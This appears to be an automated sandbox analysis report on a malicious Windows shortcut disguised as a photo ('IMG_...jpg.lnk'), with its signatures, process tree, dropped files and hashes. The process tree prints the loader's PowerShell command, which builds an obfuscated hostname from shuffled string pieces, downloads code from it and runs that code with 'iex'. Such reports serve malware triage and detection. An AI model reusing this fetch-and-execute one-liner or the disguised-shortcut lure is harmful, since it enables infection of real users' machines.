Analysis

  • max time kernel
    148s
  • max time network
    113s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    28/07/2026, 10:18

General

  • Target
    IMG_20260728_041047.jpg.lnk
  • Size 1KB
  • Sample260728-mcaeaathre
  • SHA256 8b18981fd23e181553ea4946a9869787721de6de56b03d588b6c3afe8bc3fe1a
  • MD5 SHA1 SHA512 TLSH
Score
8/10

Malware Config

Signatures

  • Badlisted process makes network request 3 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 42 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\IMG_20260728_041047.jpg.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4324
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iwr (@('oto','t','hop','ph','re','i','aynow.s','ser','ns','v')[4,7,9,3,0,5,8,1,6,2] -join $ml388mmZ) -useb | iex
      2⤵
      • Badlisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5060
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\r3cxy2eb\r3cxy2eb.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1952
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5E62.tmp" "c:\Users\Admin\AppData\Local\Temp\r3cxy2eb\CSCBA05F795366E4645B6FD8217BA5612F1.TMP"
          4⤵
            PID:5884

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          RES5E62.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\RES5E62.tmp
          • Size 1KB
          • SHA256 a744334a51ac2284d3b28826bd07b3ed3a0b4c2b960f01b138ccae342bee3eb3
          • MD5 SHA1 SHA512 TLSH

          r3cxy2eb.dll

          • Path C:\Users\Admin\AppData\Local\Temp\r3cxy2eb\r3cxy2eb.dll
          • Size 3KB
          • SHA256 fb733ccff98d97cc8cd39dfb41429c5bf1269cea4bc36de88542d14d9a511597
          • MD5 SHA1 SHA512 TLSH

          CSCBA05F795366E4645B6FD8217BA5612F1.TMP

          • Path \??\c:\Users\Admin\AppData\Local\Temp\r3cxy2eb\CSCBA05F795366E4645B6FD8217BA5612F1.TMP
          • Size 652B
          • SHA256 99adb3d9ee5db3546af818bf1daa1d9669dc7073b6f7263f195796ee6c856b64
          • MD5 SHA1 SHA512 TLSH

          r3cxy2eb.0.cs

          • Path \??\c:\Users\Admin\AppData\Local\Temp\r3cxy2eb\r3cxy2eb.0.cs
          • Size 203B
          • SHA256 5473b5550a65171ee7d5977d673c97e41e9ec16fad10ec5ab8aa3b7c798577a6
          • MD5 SHA1 SHA512 TLSH

          r3cxy2eb.cmdline

          • Path \??\c:\Users\Admin\AppData\Local\Temp\r3cxy2eb\r3cxy2eb.cmdline
          • Size 369B
          • SHA256 ffab0889ed7ab54f187d9fa8dc7da85812cdee4b5bc51c436d8749becf95f522
          • MD5 SHA1 SHA512 TLSH

          memory/5060-9-0x00007FF9BC120000-0x00007FF9BCAC4000-memory.dmp

          memory/5060-8-0x00007FF9BC120000-0x00007FF9BCAC4000-memory.dmp

          memory/5060-11-0x00007FF9BC120000-0x00007FF9BCAC4000-memory.dmp

          memory/5060-12-0x00007FF9BC120000-0x00007FF9BCAC4000-memory.dmp

          memory/5060-13-0x00007FF9BC120000-0x00007FF9BCAC4000-memory.dmp

          memory/5060-14-0x00007FF9BC120000-0x00007FF9BCAC4000-memory.dmp

          memory/5060-2-0x00007FF9BC2AF000-0x00007FF9BC2B0000-memory.dmp

          memory/5060-10-0x00007FF9BC120000-0x00007FF9BCAC4000-memory.dmp

          memory/5060-27-0x0000028AF61E0000-0x0000028AF61E8000-memory.dmp

          memory/5060-7-0x00007FF9BC120000-0x00007FF9BCAC4000-memory.dmp

          memory/5060-6-0x00007FF9BC120000-0x00007FF9BCAC4000-memory.dmp

          memory/5060-5-0x0000028AF61A0000-0x0000028AF61C2000-memory.dmp

          memory/5060-28-0x00007FF9BC120000-0x00007FF9BCAC4000-memory.dmp

          memory/5060-29-0x00007FF9BC120000-0x00007FF9BCAC4000-memory.dmp

          memory/5060-32-0x00007FF9BC120000-0x00007FF9BCAC4000-memory.dmp